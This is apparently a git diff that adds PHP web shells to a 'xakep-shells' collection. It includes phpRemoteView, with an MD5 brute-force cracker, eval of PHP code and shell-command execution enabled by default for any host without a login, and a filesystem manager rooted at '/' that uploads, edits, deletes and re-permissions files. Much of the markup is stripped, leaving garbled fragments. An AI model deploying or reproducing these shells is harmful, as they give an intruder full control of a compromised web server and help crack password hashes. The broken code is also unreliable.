md5('')=$text (try empty string, 0 bytes!)");
+ }
+ $phplen=strlen($php);
+ mdgetword();
+ $poslen=strlen($word);
+ if ($pos<0 || $pos>=$poslen) $pos=0;
+
+ for ($i=0; $i<10; $i++) { echo "\r\n"; flush(); }
+
+ echo "Save this link - click for break and save current position ";
+ flush();
+
+ echo "
+ MD5_HASH=$text
+ CURRENT_WORD=$word
+ CURRENT_DIGIT=$pos:".implode(",",$from)."
+ RANGE=".htmlspecialchars($php)."
+ ProcessTime=$fulltime sec (".(floor($fulltime/60/60))."h)
+ Calculation(qty)={$fullqty}0000";
+ flush();
+
+
+ $fullsum=pow($phplen,$poslen);
+ $time1=time();
+ $i=0;
+
+ while (1) {
+
+ $i++;
+ if ($i>50000) {
+ $time=time()-$time1;
+ if ($time>20) break;
+ $i=0;
+ $sum=0;
+ for ($j=1; $j%02.2f%% ($word) %02dsec | \r\n",
+ $sum*100/$fullsum,$time);
+ flush();
+ $fullqty+=5;
+ }
+
+ if (md5($word)===$text)
+ exit("** DONE ** [$word]=[$text]
+ ");
+ $from[$pos]++;
+ if ($from[$pos]==$phplen) {
+ $flag=1;
+ $from[$pos]=0;
+ $word[$pos]=$php[0];
+ for ($pos=$pos+1; $pos<$poslen; $pos++) {
+ if ($from[$pos]+1<$phplen) {
+ $from[$pos]++;
+ $word[$pos]=$php[$from[$pos]];
+ $flag=0;
+ $pos=0;
+ break;
+ }
+ else {
+ $from[$pos]=0;
+ $word[$pos]=$php[0];
+ }
+ }
+ if ($flag) {
+ $from[]=0;
+ $poslen=count($from);
+ $word.=$php[0];
+ $pos=0;
+ $fullsum=pow($phplen,$poslen);
+ }
+ }
+ $word[$pos]=$php[$from[$pos]];
+ }
+
+ $fulltime+=time()-$time1;
+ if ($i>5000) $fullqty++;
+ $url="$self?c=md5crack".
+ "&from=".urlencode("$pos:".implode(",",$from)).
+ "&text=".urlencode($text).
+ "&php=".urlencode($php).
+ "&fulltime=$fulltime&fullqty=$fullqty&go=1";
+ echo "click here ";
+
+ }
+
+ break;
+
+
+case "phpinfo":
+
+ phpinfo();
+ break;
+
+
+case "codes":
+
+ error_reporting(2039);
+ if (!isset($limit)) $limit=999;
+ if (!isset($fontsize)) $fontsize="300%";
+
+ echo "
";
+
+ echo "".mm("Character map (symbol codes table)")."
+ ";
+
+ if (!isset($fontname)) break;
+ if (!empty($fontname2)) $fontname=$fontname2;
+ echo "
+
+
";
+ ?>
+
+ ";
+ break;
+
+
+
+case "img":
+
+ unset($img);
+$img=array(
+'dir'=>
+'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.
+'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.
+'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=',
+'fon'=>
+'R0lGODlhQAYEALMAAAAAAP///6bK8A4obRs2eSlFhDZTkEVjnVRyqWKCtnCQwXyezIiq1pO24J3A'.
+'6P///yH5BAEAAA8ALAAAAABABgQAAAT/cMhJq704E7n78EQXjmRpnmcRqizRsgUcz3Rt37QR63zR'.
+'GzygcEgsGo8HYNKQbDKfh2Z0Sq1ar9goQsvdeg/eMGJMLpvPaHRivG4j3O14Yk6v2+/4u2K+7yf8'.
+'Cn2Bg4SFhoeGC4GKjAqNC4yQkpOUlZaTDJCZmwubngygoaKjpKUNDKepqKipDa6vsLGysg4Ntbe2'.
+'tg63u72+v8AOArvDxcLFAsnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx'.
+'8vPSGfb3GCAfHBP6IvwgRKBIscJFwREvXMRYkVCGQhw1dPiYSJHiDx8SLwLBeKSjkyUg/5VAGRnl'.
+'CUkmWVKCWfmF5UqXX8bAZJmmJpubbt6QWaNzTs+ccOTkwbPnj9GjfIwCKspUqSBEiRxJnbpI6qNG'.
+'Vh1d2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ANo'.
+'eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD'.
+'Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==',
+'home'=>
+'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA'.
+'AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS'.
+'krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j'.
+'VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=',
+'back'=>
+'R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8'.
+'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'.
+'Wg0JADs='
+
+);
+
+
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ // /*
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ // */
+ echo base64_decode($img[$name]);
+
+ break;
+
+}
+
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/Private-i3lue.php.txt b/xakep-shells/PHP/Private-i3lue.php.txt
new file mode 100644
index 0000000..93abbae
--- /dev/null
+++ b/xakep-shells/PHP/Private-i3lue.php.txt
@@ -0,0 +1,1456 @@
+
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+/* ------------------------------------------------------------------------- */
+
+/* Select your language:
+ * 'en' - English
+ * 'de' - German
+ * 'cz' - Czech
+ * 'it' - Italian
+ */
+$language = 'en';
+
+/* This directory is shown when you start webadmin.php.
+ * For example: './' would be the current directory.
+ */
+$homedir = './';
+
+/* This sets the root directory of the treeview.
+ * Set it to '/' to see the whole filesystem.
+ */
+$treeroot = '/';
+
+/* When you create a directory, its permission is set to this octal value.
+ * For example: 0705 would be 'drwx---r-x'.
+ */
+$dirpermission = 0705;
+
+/* Uncomment the following line to enable this feature (remove #):
+ * When you create a file, its permission is set to this octal value.
+ * For example: 0644 would be 'drwxr--r--'.
+ */
+# $newfilepermission = 0666;
+
+/* Uncomment the following line to enable this feature (remove #):
+ * When you upload a file, its permission is set to this octal value.
+ * For example: 0644 would be 'drwxr--r--'.
+ */
+# $uploadedfilepermission = 0666;
+
+/* The size of the file edit textarea
+ */
+$editrows = 20;
+$editcols = 70;
+
+/* ------------------------------------------------------------------------- */
+
+$self = htmlentities(basename($_SERVER['PHP_SELF']));
+$homedir = relpathtoabspath($homedir, getcwd());
+$treeroot = relpathtoabspath($treeroot, getcwd());
+$words = getwords($language);
+
+/* If PHP added any slashes, strip them */
+if (ini_get('magic_quotes_gpc')) {
+ array_walk($_GET, 'strip');
+ array_walk($_POST, 'strip');
+ array_walk($_REQUEST, 'strip');
+}
+
+/* Return Images */
+if (isset($_GET['imageid'])) {
+ header('Content-Type: image/gif');
+ echo(getimage($_GET['imageid']));
+ exit;
+}
+
+/* Initialize session */
+ini_set('session.use_cookies', FALSE);
+ini_set('session.use_trans_sid', FALSE);
+session_name('id');
+session_start();
+
+/* Initialize dirlisting output */
+$error = $notice = '';
+$updatetreeview = FALSE;
+
+/* Handle treeview requests */
+if (isset($_REQUEST['action'])) {
+ switch ($_REQUEST['action']) {
+ case 'treeon':
+ $_SESSION['tree'] = array();
+ $_SESSION['hassubdirs'][$treeroot] = tree_hassubdirs($treeroot);
+ tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot);
+ frameset();
+ exit;
+ case 'treeoff':
+ $_SESSION['tree'] = NULL;
+ $_SESSION['hassubdirs'] = NULL;
+ dirlisting();
+ exit;
+ }
+}
+
+/* Set current directory */
+if (!isset($_SESSION['dir'])) {
+ $_SESSION['dir'] = $homedir;
+ $updatetreeview = TRUE;
+}
+if (!empty($_REQUEST['dir'])) {
+ $newdir = relpathtoabspath($_REQUEST['dir'], $_SESSION['dir']);
+ /* If the requested directory is a file, show the file */
+ if (@is_file($newdir) && @is_readable($newdir)) {
+ /* if (@is_writable($newdir)) {
+ $_REQUEST['edit'] = $newdir;
+ } else */ if (is_script($newdir)) {
+ $_GET['showh'] = $newdir;
+ } else {
+ $_GET['show'] = $newdir;
+ }
+ } elseif ($_SESSION['dir'] != $newdir) {
+ $_SESSION['dir'] = $newdir;
+ $updatetreeview = TRUE;
+ }
+}
+
+/* Show a file */
+if (!empty($_GET['show'])) {
+ $show = relpathtoabspath($_GET['show'], $_SESSION['dir']);
+ if (!show($show)) {
+ $error= buildphrase('"' . htmlentities($show) . ' "', $words['cantbeshown']);
+ } else {
+ exit;
+ }
+}
+
+/* Show a file syntax highlighted */
+if (!empty($_GET['showh'])) {
+ $showh = relpathtoabspath($_GET['showh'], $_SESSION['dir']);
+ if (!show_highlight($showh)) {
+ $error = buildphrase('"' . htmlentities($showh) . ' "', $words['cantbeshown']);
+ } else {
+ exit;
+ }
+}
+
+/* Upload file */
+if (isset($_FILES['upload'])) {
+ $file = relpathtoabspath($_FILES['upload']['name'], $_SESSION['dir']);
+ if (@is_writable($_SESSION['dir']) && @move_uploaded_file($_FILES['upload']['tmp_name'], $file) && (!isset($uploadedfilepermission) || chmod($file, $uploadedfilepermission))) {
+ $notice = buildphrase(array('"' . htmlentities(basename($file)) . ' "', '"' . htmlentities($_SESSION['dir']) . ' "'), $words['uploaded']);
+ } else {
+ $error = buildphrase(array('"' . htmlentities(basename($file)) . ' "', '"' . htmlentities($_SESSION['dir']) . ' "'), $words['notuploaded']);
+ }
+}
+
+/* Create file */
+if (!empty($_GET['create']) && $_GET['type'] == 'file') {
+ $file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
+ if (substr($file, strlen($file) - 1, 1) == '/') $file = substr($file, 0, strlen($file) - 1);
+ if (is_free($file) && touch($file) && ((!isset($newfilepermission)) || chmod($file, $newfilepermission))) {
+ $notice = buildphrase('"' . htmlentities($file) . ' "', $words['created']);
+ $_REQUEST['edit'] = $file;
+ } else {
+ $error = buildphrase('"' . htmlentities($file) . ' "', $words['notcreated']);
+ }
+}
+
+/* Create directory */
+if (!empty($_GET['create']) && $_GET['type'] == 'dir') {
+ $file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
+ if (is_free($file) && @mkdir($file, $dirpermission)) {
+ $notice = buildphrase('"' . htmlentities($file) . ' "', $words['created']);
+ $updatetreeview = TRUE;
+ if (!empty($_SESSION['tree'])) {
+ $file = spath(dirname($file));
+ $_SESSION['hassubdirs'][$file] = TRUE;
+ tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file);
+ }
+ } else {
+ $error = buildphrase('"' . htmlentities($file) . ' "', $words['notcreated']);
+ }
+}
+
+/* Ask symlink target */
+if (!empty($_GET['symlinktarget']) && empty($_GET['symlink'])) {
+ $symlinktarget = relpathtoabspath($_GET['symlinktarget'], $_SESSION['dir']);
+ html_header($words['createsymlink']);
+?>
+
+' . htmlentities($symlink) . '"', '"' . htmlentities($target) . ' "'), $words['samefiles']);
+ } else {
+ if (@$_GET['relative'] == 'yes') {
+ $target = abspathtorelpath(dirname($symlink), $target);
+ } else {
+ $target = $_GET['symlinktarget'];
+ }
+ if (is_free($symlink) && @symlink($target, $symlink)) {
+ $notice = buildphrase('"' . htmlentities($symlink) . ' "', $words['created']);
+ } else {
+ $error = buildphrase('"' . htmlentities($symlink) . ' "', $words['notcreated']);
+ }
+ }
+}
+
+/* Delete file */
+if (!empty($_GET['delete'])) {
+ $delete = relpathtoabspath($_GET['delete'], $_SESSION['dir']);
+ if (@$_GET['sure'] == 'TRUE') {
+ if (remove($delete)) {
+ $notice = buildphrase('"' . htmlentities($delete) . ' "', $words['deleted']);
+ } else {
+ $error = buildphrase('"' . htmlentities($delete) . ' "', $words['notdeleted']);
+ }
+ } else {
+ html_header($words['delete']);
+?>
+
+
+
+
+
+
+
+
+ ' . htmlentities($delete) . '"', $words['suredelete'])); ?>
+
+
+
+ ">[ ]
+
+
+
+
+
+' . htmlentities($permission) . '"', '"' . substr(octtostr("0$p"), 1) . ' " (' . decoct($p) . ' )'), $words['permsset']);
+ } else {
+ $error = buildphrase('"' . htmlentities($permission) . ' "', $words['permsnotset']);
+ }
+ } else {
+ html_header($words['permission']);
+?>
+
+' . htmlentities($permission) . '"', $words['permsnotset']);
+ }
+}
+
+/* Move file */
+if (!empty($_GET['move'])) {
+ $move = relpathtoabspath($_GET['move'], $_SESSION['dir']);
+ if (!empty($_GET['destination'])) {
+ $destination = relpathtoabspath($_GET['destination'], dirname($move));
+ if (@is_dir($destination)) $destination = spath($destination) . basename($move);
+ if ($move == $destination) {
+ $error = buildphrase(array('"' . htmlentities($move) . ' "', '"' . htmlentities($destination) . ' "'), $words['samefiles']);
+ } else {
+ if (is_free($destination) && @rename($move, $destination)) {
+ $notice = buildphrase(array('"' . htmlentities($move) . ' "', '"' . htmlentities($destination) . ' "'), $words['moved']);
+ } else {
+ $error = buildphrase(array('"' . htmlentities($move) . ' "', '"' . htmlentities($destination) . ' "'), $words['notmoved']);
+ }
+ }
+ } else {
+ html_header($words['move']);
+?>
+
+
+
+
+
+' . htmlentities($copy) . '"', '"' . htmlentities($destination) . ' "'), $words['samefiles']);
+ } else {
+ if (is_free($destination) && @copy($copy, $destination)) {
+ $notice = buildphrase(array('"' . htmlentities($copy) . ' "', '"' . htmlentities($destination) . ' "'), $words['copied']);
+ } else {
+ $error = buildphrase(array('"' . htmlentities($copy) . ' "', '"' . htmlentities($destination) . ' "'), $words['notcopied']);
+ }
+ }
+ } else {
+ html_header($words['copy']);
+?>
+
+
+
+
+
+' . htmlentities($edit) . '"', $words['saved']);
+ } else {
+ $error = buildphrase('"' . htmlentities($edit) . ' "', $words['notsaved']);
+ }
+}
+
+/* Edit file */
+if (isset($_REQUEST['edit']) && !isset($_POST['save'])) {
+ $file = relpathtoabspath($_REQUEST['edit'], $_SESSION['dir']);
+ if (@is_dir($file)) {
+ /* If the requested file is a directory, show the directory */
+ $_SESSION['dir'] = $file;
+ $updatetreeview = TRUE;
+ } else {
+ if ($f = @fopen($file, 'r')) {
+ html_header($words['edit']);
+?>
+
+
+
+
+
+
+
+
+
+' . htmlentities($file) . '" ', $words['notopened']);
+ }
+ }
+}
+
+/* Show directory listing (and treeview) */
+if (!empty($_SESSION['tree'])) {
+ if (isset($_REQUEST['frame']) && $_REQUEST['frame'] == 'treeview') {
+ treeview();
+ } else {
+ if (isset($_GET['noupdate'])) $updatetreeview = FALSE;
+ dirlisting(TRUE);
+ }
+} else {
+ dirlisting();
+}
+
+/* ------------------------------------------------------------------------- */
+
+function strip (&$str) {
+ $str = stripslashes($str);
+}
+
+function relpathtoabspath ($file, $dir) {
+ $dir = spath($dir);
+ if (substr($file, 0, 1) != '/') $file = $dir . $file;
+ if (!@is_link($file) && ($r = realpath($file)) != FALSE) $file = $r;
+ if (@is_dir($file) && !@is_link($file)) $file = spath($file);
+ return $file;
+}
+
+function abspathtorelpath ($pos, $target) {
+ $pos = spath($pos);
+ $path = '';
+ while ($pos != $target) {
+ if ($pos == substr($target, 0, strlen($pos))) {
+ $path .= substr($target, strlen($pos));
+ break;
+ } else {
+ $path .= '../';
+ $pos = strrev(strstr(strrev(substr($pos, 0, strlen($pos) - 1)), '/'));
+ }
+ }
+ return $path;
+}
+
+function is_script ($file) {
+ return ereg('.php[3-4]?$', $file);
+}
+
+function spath ($path) {
+ if (substr($path, strlen($path) - 1, 1) != '/') $path .= '/';
+ return $path;
+}
+
+function textfieldsize ($str) {
+ $size = strlen($str) + 5;
+ if ($size < 30) $size = 30;
+ return $size;
+}
+
+function is_free ($file) {
+ global $words;
+ if (@file_exists($file) && empty($_GET['overwrite'])) {
+ html_header($words['alreadyexists']);
+?>
+
+
+
+
+
+
+
+
+ ' . htmlentities($file) . '"', $words['overwrite'])); ?>
+
+
+
+ ">[ ]
+
+
+
+
+
+
+
+
+
+ Treeview
+
+
+>
+
+
+
+
+
+
+
+
+
+
+ " name="treeview">
+ " name="webadmin">
+
+
+ $numcols) $numcols = $col;
+ if (isset($tree[$path])) {
+ for ($i = 0; $i < sizeof($tree[$path]); $i++) {
+ $numcols = tree_calculatenumcols($tree, $path . $tree[$path][$i], $col + 1);
+ }
+ }
+ return $numcols;
+}
+
+function tree_showtree ($tree, $hassubdirs, $path, $col, $numcols) {
+ global $self, $treeroot;
+ static $islast = array(0 => TRUE);
+ echo(" \n");
+ for ($i = 0; $i < $col; $i++) {
+ if ($islast[$i]) $iid = 0; else $iid = 3;
+ echo(" \n");
+ }
+ if ($hassubdirs[$path]) {
+ if (!empty($tree[$path])) { $action = 'minus'; $iid = 8; } else { $action = 'plus'; $iid = 7; }
+ if ($col == 0) $iid -= 3; else if ($islast[$col]) $iid += 3;
+ echo(" ');
+ echo(" ");
+ echo(" \n");
+ } else {
+ if ($islast[$col]) $iid = 9; else $iid = 6;
+ echo(" \n");
+ }
+ if (@is_readable($path)) {
+ $a1 = "';
+ $a2 = ' ';
+ } else {
+ $a1 = $a2 = '';
+ }
+ if ($_SESSION['dir'] == $path) $iid = 2; else $iid = 1;
+ echo(" $a1 $a2 \n");
+ $cspan = $numcols - $col + 1;
+ if ($cspan > 1) $colspan = " colspan=\"$cspan\""; else $colspan = '';
+ if ($col == $numcols) $width = ' width="100%"'; else $width = '';
+ echo(" ");
+ if ($path == $treeroot) $label = $path; else $label = basename($path);
+ echo($a1 . htmlentities($label) . $a2);
+ echo(" \n");
+ echo(" \n");
+ if (!empty($tree[$path])) {
+ for ($i = 0; $i < sizeof($tree[$path]); $i++) {
+ if (($i + 1) == sizeof($tree[$path])) $islast[$col + 1] = TRUE; else $islast[$col + 1] = FALSE;
+ tree_showtree($tree, $hassubdirs, $path . $tree[$path][$i], $col + 1, $numcols);
+ }
+ }
+ return;
+}
+
+function tree_plus (&$tree, &$hassubdirs, $p) {
+ if ($path = spath(realpath($p))) {
+ $tree[$path] = tree_getsubdirs($path);
+ for ($i = 0; $i < sizeof($tree[$path]); $i++) {
+ $subdir = $path . $tree[$path][$i];
+ if (empty($hassubdirs[$subdir])) $hassubdirs[$subdir] = tree_hassubdirs($subdir);
+ }
+ }
+ return;
+}
+
+function tree_minus (&$tree, &$hassubdirs, $p) {
+ $dirchanged = FALSE;
+ if ($path = spath(realpath($p))) {
+ if (!empty($tree[$path])) {
+ for ($i = 0; $i < sizeof($tree[$path]); $i++) {
+ $subdir = $path . $tree[$path][$i] . '/';
+ if (isset($hassubdirs[$subdir])) $hassubdirs[$subdir] = NULL;
+ }
+ $tree[$path] = NULL;
+ if (substr($_SESSION['dir'], 0, strlen($path)) == $path) {
+ $_SESSION['dir'] = $path;
+ $dirchanged = TRUE;
+ }
+ }
+ }
+ return $dirchanged;
+}
+
+function tree_getsubdirs ($path) {
+ $subdirs = array();
+ if ($p = @opendir($path)) {
+ for ($i = 0; ($filename = readdir($p)) !== FALSE;) {
+ if (tree_isrealdir($path . $filename)) $subdirs[$i++] = $filename . '/';
+ }
+ }
+ sort($subdirs);
+ return $subdirs;
+}
+
+function show ($file) {
+ global $words;
+ if (@is_readable($file) && @is_file($file)) {
+ header('Content-Disposition: filename=' . basename($file));
+ header('Content-Type: ' . getmimetype($file));
+ if (@readfile($file) !== FALSE) return TRUE;
+ }
+ return FALSE;
+}
+
+function show_highlight ($file) {
+ global $words;
+ if (@is_readable($file) && @is_file($file)) {
+ header('Content-Disposition: filename=' . basename($file));
+ echo("\n");
+ echo(buildphrase(array('"' . htmlentities(basename($file)) . '"'), $words['sourceof']));
+ echo(" \n\n\n\n\n\n");
+ $size = sizeof(file($file));
+ for ($i = 1; $i <= $size; $i++) printf("%05d \n", $i);
+ echo("
\n \n\n");
+ $shown = @highlight_file($file);
+ echo("\n");
+ echo(" \n \n
\n");
+ echo("\n");
+ echo("");
+ if ($shown) return TRUE;
+ }
+ return FALSE;
+}
+
+function getmimetype ($file) {
+ /* $mime = 'application/octet-stream'; */
+ $mime = 'text/plain';
+ $ext = substr($file, strrpos($file, '.') + 1);
+ if (@is_readable('/etc/mime.types')) {
+ $f = fopen('/etc/mime.types', 'r');
+ while (!feof($f)) {
+ $line = fgets($f, 4096);
+ $found = FALSE;
+ $mim = strtok($line," \n\t");
+ $ex = strtok(" \n\t");
+ while ($ex && !$found) {
+ if (strtolower($ex) == strtolower($ext)) {
+ $found = TRUE;
+ $mime = $mim;
+ break;
+ }
+ $ex = strtok(" \n\t");
+ }
+ if ($found) break;
+ }
+ fclose($f);
+ }
+ return $mime;
+}
+
+function dirlisting ($inaframe = FALSE) {
+ global $self, $homedir, $words;
+ global $error, $notice;
+ $p = '&' . SID;
+ html_header($_SESSION['dir']);
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+' . htmlentities($_SESSION['dir']) . '"', $words['readingerror']));
+ }
+ if ($inaframe) {
+ pnotice("' . $words['treeoff'] . ' ');
+ } else {
+ pnotice("' . $words['treeon'] . ' ');
+ }
+ html_footer(FALSE);
+ return;
+}
+
+function dirtoarray ($dir) {
+ if ($dirstream = @opendir($dir)) {
+ for ($n = 0; ($filename = readdir($dirstream)) !== FALSE; $n++) {
+ $stat = @lstat($dir . $filename);
+ $files[$n]['filename'] = $filename;
+ $files[$n]['fullfilename'] = $fullfilename = relpathtoabspath($filename, $dir);
+ $files[$n]['is_file'] = @is_file($fullfilename);
+ $files[$n]['is_dir'] = @is_dir($fullfilename);
+ $files[$n]['is_link'] = $islink = @is_link($dir . $filename);
+ if ($islink) {
+ $files[$n]['readlink'] = @readlink($dir . $filename);
+ $files[$n]['linkinfo'] = linkinfo($dir . $filename);
+ }
+ $files[$n]['is_readable'] = @is_readable($fullfilename);
+ $files[$n]['is_writable'] = @is_writable($fullfilename);
+ $files[$n]['is_executable'] = @is_executable($fullfilename);
+ $files[$n]['permission'] = $islink ? 'lrwxrwxrwx' : octtostr(@fileperms($dir . $filename));
+ if (substr($files[$n]['permission'], 0, 1) != '-') {
+ $files[$n]['size'] = -1;
+ } else {
+ $files[$n]['size'] = @$stat['size'];
+ $GLOBALS['showsize'] = TRUE;
+ }
+ $files[$n]['owner'] = $owner = @$stat['uid'];
+ $files[$n]['group'] = $group = @$stat['gid'];
+ $files[$n]['ownername'] = @reset(posix_getpwuid($owner));
+ $files[$n]['groupname'] = @reset(posix_getgrgid($group));
+ }
+ closedir($dirstream);
+ return $files;
+ } else {
+ return FALSE;
+ }
+}
+
+function outputdirlisting ($dir, $files, $inaframe, $sort, $reverse) {
+ global $self, $words;
+ $uid = posix_getuid();
+?>
+
+
+
+ $g)) $l++;
+ while (($r > $left) && ($field[$r][$column] < $g)) $r--;
+ } else {
+ while (($l < $right) && ($field[$l][$column] < $g)) $l++;
+ while (($r > $left) && ($field[$r][$column] > $g)) $r--;
+ }
+ if ($l < $r) {
+ $tmp = $field[$r];
+ $field[$r] = $field[$l];
+ $field[$l] = $tmp;
+ $r--;
+ $l++;
+ } else {
+ $l++;
+ }
+ }
+ if ($r > $left) $field = sortfield($field, $column, $reverse, $left, $r);
+ if ($r + 1 < $right) $field = sortfield($field, $column, $reverse, $r + 1, $right);
+ return $field;
+}
+
+function buildphrase ($repl, $str) {
+ if (!is_array($repl)) $repl = array($repl);
+ $newstr = ''; $prevz = ' ';
+ for ($i = 0; $i < strlen($str); $i++) {
+ $z = substr($str, $i, 1);
+ if (((int) $z) > 0 && ((int) $z) <= count($repl) && $prevz == ' ') $newstr .= $repl[((int) $z) - 1]; else $newstr .= $z;
+ $prevz = $z;
+ }
+ return $newstr;
+}
+
+function html_header ($action) {
+ global $self;
+ global $error, $notice, $updatetreeview;
+?>
+
+
+
+
+
+
+
+
+
+>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/Rem View.php.php.txt b/xakep-shells/PHP/Rem View.php.php.txt
new file mode 100644
index 0000000..4d6e436
--- /dev/null
+++ b/xakep-shells/PHP/Rem View.php.php.txt
@@ -0,0 +1,2553 @@
+ tags, thanks A.Voropay
+ *
+ * 2003.04.22 read first 64Kb of null-size file (example: /etc/zero),
+ * thanks Anight
+ * add many functions/converts: md5, decode md5 (pass crack),
+ * date/time, base64, translit, russian charsets
+ * fix bug: read session files
+ *
+ * 2002.08.24 new design and images
+ * many colums in panel
+ * sort & setup panel
+ * dir tree
+ * base64 encoding
+ * character map
+ * HTTP authentication with login/pass
+ * IP-address authentication with allow hosts
+ *
+ * --version3--
+ * 2002.08.10 add multi language support (english and russian)
+ * some update
+ *
+ * 2002.08.05 new: full windows support
+ * fix some bugs, thanks Jeremy Flinston
+ *
+ * 2002.07.31 add file upload for create files
+ * add 'direcrory commands'
+ * view full info after safe_mode errors
+ * fixed problem with register_glogals=off in php.ini
+ * fixed problem with magic quotes in php.ini (auto strip slashes)
+ *
+ * --version2--
+ * 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
+ * add panel 'TOOLS': eval php-code and run shell commands
+ * add copy/edit/create file (+panel 'EDIT')
+ * add only-read mode (disable write/delete and PHP/Shell)
+ *
+ * 2002.01.19 add delete/touch/clean/wipe file
+ * add panel 'INFO', view a/c/m-time, hexdump view
+ * add session file view mode (link 'SESSION').
+ *
+ * 2002.01.12 first version!
+ *
+ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
+
+///////////////////////////////// S E T U P ///////////////////////////////////
+
+
+ $version="2003-10-23";
+
+ $hexdump_lines=8; // lines in hex preview file
+ $hexdump_rows=24; // 16, 24 or 32 bytes in one line
+
+ $mkdir_mode=0755; // chmode for new dir ('MkDir' button)
+
+ $maxsize_fread=65536; // read first 64Kb from any null-size file
+
+ // USER ACCESS //
+
+ $write_access=true; // true - user (you) may be write/delete files/dirs
+ // false - only read access
+
+ $phpeval_access=true; // true - user (you) may be execute any php-code
+ // false - function eval() disable
+
+ $system_access=true; // true - user (you) may be run shell commands
+ // false - function system() disable
+
+ // AUTHORIZATION //
+
+ $login=false; // Login & password for access to this programm.
+ $pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd";
+ // Type 'login=false' for disable authorization.
+
+ $host_allow=array("*"); // Type list of your(allow) hosts. All other - denied.
+ // Example: $host_allow=array("127.0.0.*","localhost")
+
+
+///////////////////////////////////////////////////////////////////////////////
+
+
+ $tmp=array();
+ foreach ($host_allow as $k=>$v)
+ $tmp[]=str_replace("\\*",".*",preg_quote($v));
+ $s="!^(".implode("|",$tmp).")$!i";
+ if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR"))))
+ exit("phpRemoteView : Access Denied - your host not allow \n");
+ if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) ||
+ $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) {
+ header("WWW-Authenticate: Basic realm=\"phpRemoteView\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit("phpRemoteView : Access Denied - password erroneous \n");
+ }
+
+ error_reporting(2047);
+ set_magic_quotes_runtime(0);
+ @set_time_limit(0);
+ @ini_set('max_execution_time',0);
+ @ini_set('output_buffering',0);
+ if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler");
+
+ $self=basename($HTTP_SERVER_VARS['PHP_SELF']);
+
+ $url="http://".getenv('HTTP_HOST').
+ (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
+ $HTTP_SERVER_VARS['PHP_SELF'].
+ (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
+ $uurl=urlencode($url);
+
+ //
+ // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
+ //
+ $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ".
+ "ftype fnot c2 confirm text df df2 df3 df4 ref from to ".
+ "fatt showfile showsize root name ref names sort sortby ".
+ "datetime fontname fontname2 fontsize pan limit convert fulltime fullqty";
+ foreach (explode(" ",$autovars1) as $k=>$v) {
+ if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
+ elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
+ //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
+ }
+
+ //
+ // autofix 'magic quotes':
+ //
+ $autovars2="php shell text d root convert";
+ if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) {
+ foreach (explode(" ",$autovars2) as $k=>$v) {
+ if (isset($$v)) $$v=stripslashes($$v);
+ }
+ }
+
+ $cp_def=array(
+ "001001",
+ "nst2ac",
